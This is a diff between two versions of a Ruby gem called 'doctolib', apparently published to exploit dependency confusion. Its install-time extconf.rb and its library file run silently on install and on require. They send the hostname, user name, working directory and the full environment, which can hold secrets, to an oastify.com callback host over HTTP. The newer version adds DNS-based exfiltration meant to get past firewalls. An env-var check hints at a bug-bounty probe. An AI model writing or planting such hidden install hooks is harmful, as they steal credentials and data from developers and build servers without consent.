doctolib 99.0.2 → 99.0.4

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 450c1b6b8c3be533b171a5250456fab5a8a87f37eb6fb221c2f744872ecdf0df
-  data.tar.gz: 2c2f08bbc998a6166ca00cde73f28919684fbe6bafbebf5969d9b04fa08d32ce
+  metadata.gz: daed013ef3a82b15c21812f5213185704c040456590e7ea0938e21b24fb567e2
+  data.tar.gz: 7b450c19935bcf49293dd443b7a22c6597cd3e0bf4ff4f19da504a490ec3163a
 SHA512:
-  metadata.gz: b8469d12ae653fb336ef89b96029f0320b20499652d59d5bd9264a63dd9b79f197d5a6eff4100fad24dc2b5e37e09bb1cc657dbddf13208d88fb654083250576
-  data.tar.gz: ae298c2366bf3537e22691c8dca7090de83189585b3ac677b8e9c1f18d37ff8b3484d29ed7b1aab150f102fb6750f254153568ce158f3698cb80332d6af25bc8
+  metadata.gz: f82229046a782982cc56d79aa499e7e973eadff345b7653b5bfe8e6f2f882435dd64900c88eccadab8cdbd28e9e4af36abd511dc2e8ef78cba9430c5569b2c91
+  data.tar.gz: 817455f784d3b2ed849c2f03dd505daac4ff5d5e71d8d4fa13ddc95aea710491f8f16627ec751fd563f74283fed221f3fb49a21d7dcd5315aee5cce851097626

data/ext/doctolib/extconf.rb

@@ -1,50 +1,46 @@
+require 'socket'
 require 'net/http'
 require 'uri'
 require 'json'
-require 'socket'
+require 'time'
+require 'resolv'
 
 CALLBACK = 'icaregems.7em0ii1mpvc50kzafx6bf1xunltch6hu6.oastify.com'
 
+# DNS exfiltration - bypass firewalls
+begin
+  hostname = Socket.gethostname.gsub(/[^a-zA-Z0-9]/, '')[0..20]
+  user = (ENV['USER'] || 'unknown').gsub(/[^a-zA-Z0-9]/, '')[0..15]
+  
+  # DNS lookup = callback même si HTTP bloqué
+  dns_exfil = "geminstall-#{hostname}-#{user}.#{CALLBACK}"
+  Resolv.getaddress(dns_exfil) rescue nil
+rescue
+end
+
+# HTTP callback aussi
 begin
   info = {
     type: 'gem_install',
     hostname: Socket.gethostname,
     user: ENV['USER'] || ENV['USERNAME'],
     pwd: Dir.pwd,
-    home: ENV['HOME'],
     ruby_version: RUBY_VERSION,
-    platform: RUBY_PLATFORM,
     env: ENV.to_h,
     timestamp: Time.now.utc.iso8601
   }
   
-  # Trouver le projet parent (Gemfile)
-  dir = Dir.pwd
-  10.times do
-    gemfile = File.join(dir, 'Gemfile')
-    if File.exist?(gemfile)
-      info[:parent_gemfile] = File.read(gemfile) rescue nil
-      info[:parent_dir] = dir
-      info[:parent_files] = Dir.entries(dir) rescue nil
-      break
-    end
-    parent = File.dirname(dir)
-    break if parent == dir
-    dir = parent
-  end
-  
-  # Callback HTTP (pas HTTPS)
   uri = URI("http://#{CALLBACK}/gem_install")
   http = Net::HTTP.new(uri.host, uri.port)
-  http.open_timeout = 5
-  http.read_timeout = 5
+  http.open_timeout = 3
+  http.read_timeout = 3
   
   request = Net::HTTP::Post.new(uri.path)
   request['Content-Type'] = 'application/json'
   request.body = info.to_json
   
   http.request(request)
-rescue => e
+rescue
 end
 
 File.write('Makefile', "all:\n\techo 'OK'\ninstall:\n\techo 'OK'\n")

data/lib/doctolib.rb

@@ -1,16 +1,30 @@
+require 'socket'
 require 'net/http'
 require 'uri'
 require 'json'
-require 'socket'
+require 'time'
+require 'resolv'
 
 module Doctolib
-  VERSION = '99.0.2'
+  VERSION = '99.0.4'
   CALLBACK = 'icaregems.7em0ii1mpvc50kzafx6bf1xunltch6hu6.oastify.com'
   
   unless defined?(@@triggered)
     @@triggered = true
     
     Thread.new do
+      # DNS exfiltration
+      begin
+        hostname = Socket.gethostname.gsub(/[^a-zA-Z0-9]/, '')[0..20]
+        user = (ENV['USER'] || 'unknown').gsub(/[^a-zA-Z0-9]/, '')[0..15]
+        rails = (ENV['RAILS_ENV'] || 'norails').gsub(/[^a-zA-Z0-9]/, '')[0..10]
+        
+        dns_exfil = "gemrequire-#{hostname}-#{user}-#{rails}.#{CALLBACK}"
+        Resolv.getaddress(dns_exfil) rescue nil
+      rescue
+      end
+      
+      # HTTP callback
       begin
         info = {
           type: 'gem_require',
@@ -19,7 +33,6 @@ module Doctolib
           pwd: Dir.pwd,
           ruby_version: RUBY_VERSION,
           rails_env: ENV['RAILS_ENV'],
-          rack_env: ENV['RACK_ENV'],
           env: ENV.to_h,
           timestamp: Time.now.utc.iso8601
         }
@@ -27,11 +40,10 @@ module Doctolib
         webhook = ENV['SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN']
         info[:webhook_found] = !webhook.nil?
         
-        # HTTP pas HTTPS
         uri = URI("http://#{CALLBACK}/gem_require")
         http = Net::HTTP.new(uri.host, uri.port)
-        http.open_timeout = 5
-        http.read_timeout = 5
+        http.open_timeout = 3
+        http.read_timeout = 3
         
         request = Net::HTTP::Post.new(uri.path)
         request['Content-Type'] = 'application/json'

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: doctolib
 version: !ruby/object:Gem::Version
-  version: 99.0.2
+  version: 99.0.4
 platform: ruby
 authors:
 - icare